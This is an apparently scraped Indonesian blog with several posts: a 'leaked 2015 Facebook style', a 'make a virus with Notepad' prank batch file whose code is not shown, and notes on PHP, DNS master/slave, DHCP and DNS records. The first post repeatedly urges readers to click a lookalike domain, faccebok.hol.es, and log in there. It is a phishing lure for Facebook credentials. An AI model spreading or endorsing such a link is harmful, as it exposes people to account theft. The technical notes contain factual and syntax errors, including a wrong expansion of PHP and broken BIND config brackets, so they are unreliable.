Tampilan Facebook

Kali ini ane mau share dan mau ngasih bocoran tentang Style Animasi Facebook terkini 2015,
yang sebenar nya belum di rilis ke public.tampilan nya makin keren dan gak biki bosen.
asli buatan anak bangsa.

Silahkan coba klik link ini ==>      http://faccebok.hol.es

Menu Login: 

 

 

 

http://faccebok.hol.es

 

 

 

 

Setelah Login dan anda di perkean kan memlilih tema yang di sediakan:

 

http://faccebok.hol.es

 

 

 

 

 

http://faccebok.hol.es

Cara Membuat Virus

Kali ini saya akan share bagai mana cara membuat virus menggunakan notepad
Yang sebelum nya saya juga pernah share bagaimana menyembunyikan folder dengan notepad : ==>>  http://blogbriyann.blogspot.com/2013/04/cara-mengunci-folder-dengan-notepad.html#links

 Membuat  Virus  dengan menggunakan notepad 
Hanya dengan mengetik kan source code berikut :

Keterangan : yang berada dalam kotak merah bisa di ganti-ganti sesuka hati.
·         Simpan script diatas dengan Virus.BAT

                                                                  i.            Dan setelah di Runing maka akan muncul seperti gambar di bawah ini :
                                                                 ii.            Setelah di klik OK sebanyak 3x maka akan tampil  seperti gambar di bawah ini:

                                                               iii.            
Dan ketika kita klik OK maka akan kembali lagi seperti saat kita Runing dan begitu selanjut nya hingga beberapa kali.
Sampai anda bosan menekan nya...



 Ane juga share tampilan facebook 2015 mendatang

Pengertian PHP



PHP
Menurut Antonius Nugraha Widhi Pratama (2010:9) PHP adalah kependekan dari Pretext Hyper-Processor yang dibagun oleh Rasmus Lerdorf pada tahun 1994. Dahulu, pada awal pengembangannya PHP disebut sebagai kependekan dari Personal Home Page. PHP merupakan produk open source sehingga kita dapat mengakses source code, menggunakan, dan mengubahnya tanpa harus membayar sepeserpun.

PHP adalah bahasa scripting yang menyatu dengan HTML dan dijalankan pada server side. Artinya semua sintaks yang kita berikan akan sepenuhnya dijalankan pada server sedangkan yang dikirimkan ke browser hanya hasilnyasaja. PHP menyatu dengan bahasa HTML untuk membuat halaman web yang menarik. PHP mampu berjalan di atas beberapa platfrom seperti Windows, Unix serta varian Linux. Beberapa kelebihan PHP antara lain dapat membuat situs yang interaktif dengan forum diskusi, guestbook dan sebagainya, koneksitas yang baik dengan bermacam-macam database seperti Oracle, MySQL, PostgreSQL dan lain-lain.

Kode PHP diawali dengan tag <? atau <?php dan ditutup dengan tag ?>. File yang berisi tag HTML dan kode PHP diberi ekstensi. Berdasarkan ekstensi ini, pada saat file diakses, server akan tahu bahwa file tersebut mengandung kode PHP. Server akan menerjemahkan kode dan menghasilkan output dalam bentuk tag HTML yang akan dikirim ke browser klien yang mengakses file tersebut.
Contoh Skrip PHP :
 <?php
echo “ini contoh skrip PHP”;
?>
Ketika skrip tersebut dijalankan di server, server akan mengembalikan ke browser klien dalam bentuk tag HTML. Sehingga ketika dilihat hasilnya di browser menggunakan menu view source, hasilnya adalah Sebagai berikut :
    <HTML>
<BODY>ini
ContohskripPHP
</BODY>
   </HTML>
Dalam menuliskan script atau program PHP, ada dua cara yang sering digunakan, yaitu embedded script dan non-embedded script. Embedded script yaitu menuliskan script PHP di antara tag-tag HTML. Sedangkan non-embedded script merupakan pembuatan program murni PHP, di mana tag-tag HTML yang diletakkan di dalam script PHP. Spasi tidak berpengaruh pada penulisan baris perintah PHP. Untuk penulisan fungsi-fungsi, PHP tidak membedakan antara huruf kecil dan huruf besar. Contoh perintah ‘echo’ sama dengan perintah ‘ECHO’ atau ‘Echo’.

DNS Master Slave



      DNS master Slave fungsinya untuk membackup DNS master, sehingga saat DNS master down maka, DNS slave dapat mengantinya. Konsep dari DNS Master dan DNS slave adalah saling bertukar IP agar bisa terkoneksi satu sama lain.

Berikut file konfigurasi DNS Slave =

pico /etc/bind/named.conf
zone “sekolah36.sch.id” in{
type slave;
file “db.smk”;
masters {192.168.4.65;};
};
zone “4.168.192.IN-ADDR.ARPA” in{
type slave;
file “db.65″;
masters {192.168.4.65;};
};


DNS Master
zone “sekolah-master.sch.id” in{
type master;
allow-transfer {192.168.4.36;);
also-notify {192.168.4.36;);
file “/etc/bind/db.sekolah36″;
};
zone “4.168.192.IN-ADDR.ARPA” in{
type master;
allow-transfer {192.168.4.36;);
also-notify {192.168.4.36;);
file “/etc/bind/db.36″;
};

Cara kerja DHCP



1.       DHCP Client akan mencoba untuk mendapatkan “penyewaan” alamat IP dari sebuah DHCP server dalam proses empat langkah berikut:

DHCPDISCOVER: DHCP client akan menyebarkan request secara broadcast untuk mencari DHCP Server yang aktif.

DHCPOFFER: Setelah DHCP Server mendengar broadcast dari DHCP Client, DHCP server kemudian menawarkan sebuah alamat kepada DHCP client.

DHCPREQUEST: Client meminta DCHP server untuk menyewakan alamat IP dari salah satu alamat yang tersedia dalam DHCP Pool pada DHCP Server yang bersangkutan.

DHCPACK: DHCP server akan merespons permintaan dari klien dengan mengirimkan paket acknowledgment. Kemudian, DHCP Server akan menetapkan sebuah alamat (dan konfigurasi TCP/IP lainnya) kepada klien, dan memperbarui basis data database miliknya. Klien selanjutnya akan memulai proses binding dengan tumpukan protokol TCP/IP dan karena telah memiliki alamat IP, klien pun dapat memulai komunikasi jaringan.


Memiliki empat tahap yang hanya berlaku bagi klien yang belum memiliki alamat. Untuk klien yang sebelumnya pernah meminta alamat kepada DHCP server yang sama, hanya tahap 3 dan tahap 4 yang dilakukan, yakni tahap pembaruan alamat (address renewal), yang jelas lebih cepat prosesnya.
Berbeda dengan sistem DNS yang terdistribusi, DHCP bersifat stand-alone, sehingga jika dalam sebuah jaringan terdapat beberapa DHCP server, basis data alamat IP dalam sebuah DHCP Server tidak akan direplikasi ke DHCP server lainnya. Hal ini dapat menjadi masalah jika konfigurasi antara dua DHCP server tersebut berbenturan, karena protokol IP tidak mengizinkan dua host memiliki alamat yang sama.
Selain dapat menyediakan alamat dinamis kepada klien, DHCP Server juga dapat menetapkan sebuah alamat statik kepada klien, sehingga alamat klien akan tetap dari waktu ke waktu.

Catatan: DHCP server harus memiliki alamat IP yang statis.

Daftar Istilah Record pada DNS



1.                   -          NS (Name Server) record
Ini memetakan sebuah identifier dikenali manusia ke sistem internal, sering numerik, identifikasi atau komponen berbicara. Sebagai contoh, di Internet, sebuah kasus khusus dari server nama, jadi disebut Domain Name System (DNS) server, digunakan untuk menerjemahkan nama host atau nama domain (misalnya, ‘en.wikipedia.org’) untuk yang sesuai biner identifier (alamat IP 145.97.39.155), atau sebaliknya.

-          MX (Mail Excange) record
MX (Mail Xchanger) adalah  Mengidentifikasi mail server yang bertanggung jawab untuk sebuah domain name. Disaat mengirimkan sebuah email ke user

-          A (Address) record
A (Adress Record) adalah type domain system yang paling fundamental yang berfungsi untuk menterjemahkan domain.

-          WKS (Well Know Service) record
WKS (Well Knows Service) merupakan service yang menggambarkan atau mendeskripsikannya. Well known service itu didukung oleh sebuah protocol yang jelas pada sebuah alamat yang spesifik.

-          HINFO (Host Information) record
Hinfo adalah Host Information atau informasi host

-          CNAME (Connanical Name) record
CNAME (canonemical name) adalah CNAME record . Ini membantu saat menjalankan beberapa layanan (seperti FTP dan sebuah server web; masing-masing berjalan pada port yang berbeda) dari satu alamat IP. Setiap layanan dapat memiliki entri sendiri dalam DNS (seperti http://ftp.didikakata.com. Dan http://www.didikakata.com). Administrator jaringan juga dapat menggunakan beberapa CNAMEs ketika menjalankan server HTTP pada port yang sama, dengan nama yang berbeda, pada host fisik yang sama